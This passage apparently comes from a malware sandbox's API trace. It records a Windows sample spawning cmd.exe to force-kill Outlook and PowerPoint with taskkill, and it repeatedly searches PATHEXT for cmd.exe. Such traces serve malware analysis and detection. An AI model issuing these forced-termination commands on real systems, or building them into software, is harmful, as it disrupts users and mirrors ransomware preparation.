	[0045.918] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0045.919] GetCurrentProcess () returned 0xffffffff
	[0045.919] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a5fd0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a5fd0*=0xbc) returned 1
	[0045.919] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a5fd4, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a5fd4*=0xc0) returned 1
	[0045.919] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a5fd8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a5fd8*=0xc4) returned 1
	[0045.919] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im outlook.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124c0800, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc0, hStdError=0xc4), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im outlook.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xac, hThread=0xc8, dwProcessId=0xbf4, dwThreadId=0xbf8)) returned 1
	[0045.926] CloseHandle (hObject=0xc8) returned 1
	[0045.926] CloseHandle (hObject=0xc4) returned 1
	[0045.926] CloseHandle (hObject=0xc0) returned 1
	[0045.927] CloseHandle (hObject=0xbc) returned 1
	[0045.927] CloseHandle (hObject=0xb8) returned 1
	[0045.927] CloseHandle (hObject=0xb4) returned 1
	[0045.927] CloseHandle (hObject=0xb0) returned 1
	[0045.927] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0xffffffff) returned 0x0
	[0046.294] SetEvent (hEvent=0xa8) returned 1
	[0046.294] GetExitCodeProcess (in: hProcess=0xac, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0046.294] GetProcessTimes (in: hProcess=0xac, lpCreationTime=0x124cfe20, lpExitTime=0x124cfe28, lpKernelTime=0x124cfe30, lpUserTime=0x124cfe38 | out: lpCreationTime=0x124cfe20, lpExitTime=0x124cfe28, lpKernelTime=0x124cfe30, lpUserTime=0x124cfe38) returned 1
	[0046.294] CloseHandle (hObject=0xac) returned 1
	[0046.294] SetEvent (hEvent=0x80) returned 1
	[0046.294] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0046.309] SetEvent (hEvent=0x80) returned 1
	[0046.309] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e6750, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0046.309] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f6648 | out: lpFileInformation=0x124f6648*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.310] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.310] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x124f6698 | out: lpFileInformation=0x124f6698*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.310] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.310] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f66e8 | out: lpFileInformation=0x124f66e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.310] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.310] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x124f6738 | out: lpFileInformation=0x124f6738*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.310] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.310] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x124f6788 | out: lpFileInformation=0x124f6788*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.310] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.310] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x124f67d8 | out: lpFileInformation=0x124f67d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.310] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.310] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x124f6828 | out: lpFileInformation=0x124f6828*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.310] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.310] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x124f6878 | out: lpFileInformation=0x124f6878*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.311] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.311] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x124f68c8 | out: lpFileInformation=0x124f68c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.311] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.311] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x124f6918 | out: lpFileInformation=0x124f6918*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.311] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.311] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x124f6968 | out: lpFileInformation=0x124f6968*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.311] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.311] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x124f69b8 | out: lpFileInformation=0x124f69b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.311] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.311] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124e6820, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0046.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f6a08 | out: lpFileInformation=0x124f6a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0046.311] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e68f0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0046.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f6a58 | out: lpFileInformation=0x124f6a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0046.311] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0046.312] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0046.312] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0046.312] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0046.312] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0046.312] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0046.312] GetEnvironmentStringsW () returned 0x7eb348*
	[0046.312] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0046.312] GetCurrentProcess () returned 0xffffffff
	[0046.312] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xac, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124fe690, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124fe690*=0xb8) returned 1
	[0046.312] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124fe694, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124fe694*=0xbc) returned 1
	[0046.313] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124fe698, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124fe698*=0xc0) returned 1
	[0046.313] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im powerpnt.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124b5400, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im powerpnt.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc8, hThread=0xc4, dwProcessId=0x640, dwThreadId=0x488)) returned 1
	[0046.320] CloseHandle (hObject=0xc4) returned 1
	[0046.320] CloseHandle (hObject=0xc0) returned 1
	[0046.320] CloseHandle (hObject=0xbc) returned 1
	[0046.321] CloseHandle (hObject=0xb8) returned 1
	[0046.321] CloseHandle (hObject=0xac) returned 1
	[0046.321] CloseHandle (hObject=0xb0) returned 1
	[0046.321] CloseHandle (hObject=0xb4) returned 1
	[0046.321] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0
	[0046.688] SetEvent (hEvent=0xa8) returned 1
	[0046.689] GetExitCodeProcess (in: hProcess=0xc8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0046.689] GetProcessTimes (in: hProcess=0xc8, lpCreationTime=0x12500720, lpExitTime=0x12500728, lpKernelTime=0x12500730, lpUserTime=0x12500738 | out: lpCreationTime=0x12500720, lpExitTime=0x12500728, lpKernelTime=0x12500730, lpUserTime=0x12500738) returned 1
	[0046.689] CloseHandle (hObject=0xc8) returned 1
	[0046.689] SetEvent (hEvent=0x80) returned 1
	[0046.689] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0046.692] SetEvent (hEvent=0x80) returned 1
	[0046.692] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124ee680, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0046.693] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x125021e8 | out: lpFileInformation=0x125021e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.693] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.693] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12502238 | out: lpFileInformation=0x12502238*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.693] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.693] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12502288 | out: lpFileInformation=0x12502288*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.693] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.693] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x125022d8 | out: lpFileInformation=0x125022d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.693] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.693] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12502328 | out: lpFileInformation=0x12502328*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.693] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.694] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12502378 | out: lpFileInformation=0x12502378*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.694] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.694] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x125023c8 | out: lpFileInformation=0x125023c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.694] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.694] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12502418 | out: lpFileInformation=0x12502418*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.694] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.694] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12502468 | out: lpFileInformation=0x12502468*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
